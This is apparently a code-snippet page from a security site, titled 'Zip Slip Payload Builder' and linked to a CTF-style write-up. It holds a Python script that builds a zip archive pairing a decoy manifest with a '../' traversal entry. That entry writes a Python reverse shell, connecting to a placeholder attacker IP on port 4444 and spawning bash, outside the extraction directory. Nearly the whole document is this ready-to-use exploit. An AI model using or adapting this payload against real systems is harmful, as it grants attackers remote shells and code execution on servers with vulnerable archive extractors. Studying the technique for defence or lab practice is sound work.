M4cCrypt0
back to snippets

Zip Slip Payload Builder

Craft a Zip Slip archive: a valid manifest to pass validation plus a ../ traversal entry that writes a payload outside the extraction directory.

python
# Vulnerable extractors join the archive filename onto the extract dir without
# normalising it, so a "../" entry escapes. Pair a valid manifest (to survive
# app-level checks) with the traversal payload.
import zipfile, json

manifest = {"name": "reverse", "assets": []}
callback = '''
import socket, os, pty
s = socket.socket(); s.connect(("<attacker-ip>", 4444))
for fd in (0, 1, 2): os.dup2(s.fileno(), fd)
pty.spawn("/bin/bash")
'''
with zipfile.ZipFile("reverse-shell.zip", "w") as z:
    z.writestr("shell.json", json.dumps(manifest))
    z.writestr("../../hooks/callback.py", callback)   # escapes the extract dir

used in: Zip Slip to RCE: The Hollow Shell